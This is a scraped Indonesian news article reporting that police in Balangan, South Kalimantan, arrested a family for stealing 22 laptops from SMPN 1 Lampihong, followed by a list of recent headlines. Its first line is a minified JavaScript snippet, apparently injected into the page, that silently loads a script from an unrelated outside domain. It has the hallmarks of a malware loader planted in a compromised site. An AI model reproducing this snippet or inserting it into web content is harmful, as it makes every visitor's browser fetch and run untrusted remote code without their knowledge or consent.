(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL BALANGAN

Kisah Keluarga Pencuri dari Balangan, Gasak 22 Laptop Milik SMPN 1 Lampihong


PARINGIN, Satu keluarga komplotan pelaku pencurian 22 laptop di SMPN 1 Lampihong berhasil diringkus Polres Balangan. Mereka merupakan warga yang tinggal di Kecamatan Paringin Selatan, Kabupaten Balangan, Kalsel.

Pelaku pencurian sendiri sejatinya adalah dua kakak beradik SF (21) dan AR (17). Sedangkan berperan sebagai penjual laptop adalah sang ayah, SU (44) dan ibunya HM (40) yang mengetahui kasus pencurian tersebut.

Unikya, AR dulunya merupakan alumni SMPN 1 Lampihong. Dari pengakuannya, bahkan AR sempat menggunakan laptop tersebut untuk pelaksanaan UNBK 2019. Saat ini AR juga merupakan siswa pada satu SMA di Kabupaten Balangan.

Kapolres Balangan AKBP Moh Zamroni mengatakan, pencurian ini berawal dari laporan kepala sekolah SMPN 1 Lampuhong pada 14 September 2019. Pihak sekolah melaporkan kehilangan inventaris sekolah sebanyak 22 unit laptop.

Dari laporan ini, anggota polres Balangan melakukan penyidikan lapangan dan ditemukan keterangan yang mengarah ke tersangka. “Keterangan awal anggota daparkan dari warga bahwa ada seseorang yang menawarkan laptop milik Acer dengan ciri-ciri yang sama dengan laptop yang hilang di Desa Warukin. Dari informasi itu, kami langsung lakukan penangkapan,” ujar AKBP Moh Zamroni kepada wartawan, Rabu (9/10).

Polisi meringkus lebih dulu pelaku inisial SF dengan barang bukti tiga buah laptop merek Acer. Dari pengakuan SF, petugas Polsek Lampihong yang dipimpin langsung Kapolsek Lampihong Ipda Kuswanto menangkap tiga tersangka lain yakni AR, SU, dan HM di rumahnya, pada Kamis (3/10) lalu.

Barang bukti yang bisa diambil dari tiga pelaku ini sebanyak 18 laptop merk Acer warna silver dan satu buah laptop merk Wearles warna Hitam. Empat unit laptop lainnya sudah dijual pelaku. “Tersangka ini akan kita kenakan pasal tindak pidana pencurian dengan pemberatan sebagaimana dimaksud dalam rumusan pasal 363 KUHP,” terangnya.(cel/kmp)

Reporter : Cel/kmp
Editor : Chell


Desy Arfianty

Recent Posts

Diakhiri Nobar Timnas, Pj Bupati Kapuas Menutup Expo Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi secara resmi menutup gelaran Expo… Read More

2 jam ago

Bingkisan Kebahagiaan PLN untuk Warga Kalsel yang Membutuhkan

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur (UIP3B) Kalimantan melalui… Read More

2 jam ago

Asa Warga Banjarmasin Timnas Indonesia Masuk Olimpiade Paris 2024

KANALKALIMANTAN.COM, BANJARMASIN - Nonton bareng (Nobar) laga semifinal AFC U-23 Indonesia vs Uzbekistan di halaman… Read More

2 jam ago

Ini Tiga Rekor Muri Sebagai Kado HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS – Tiga rekor Museum Rekor Indonesia (Muri) menjadi catatan kado Hari Jadi… Read More

2 jam ago

Ritual Laluhan dan Ngarunya Lengkapi Perayaan HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Momen perayaan Hari Jadi ke-218 Kota Kuala Kapuas dan Hari Ulang… Read More

2 jam ago

Laga Terakhir Timnas Indonesia Berharap Juara Ketiga Piala Asia U-23

KANALKALIMANTAN.COM, BANJARBARU - Tim Nasional (Timnas) Indonesia U-23 dipastikan gagal melaju ke final Piala Asia… Read More

5 jam ago

This website uses cookies.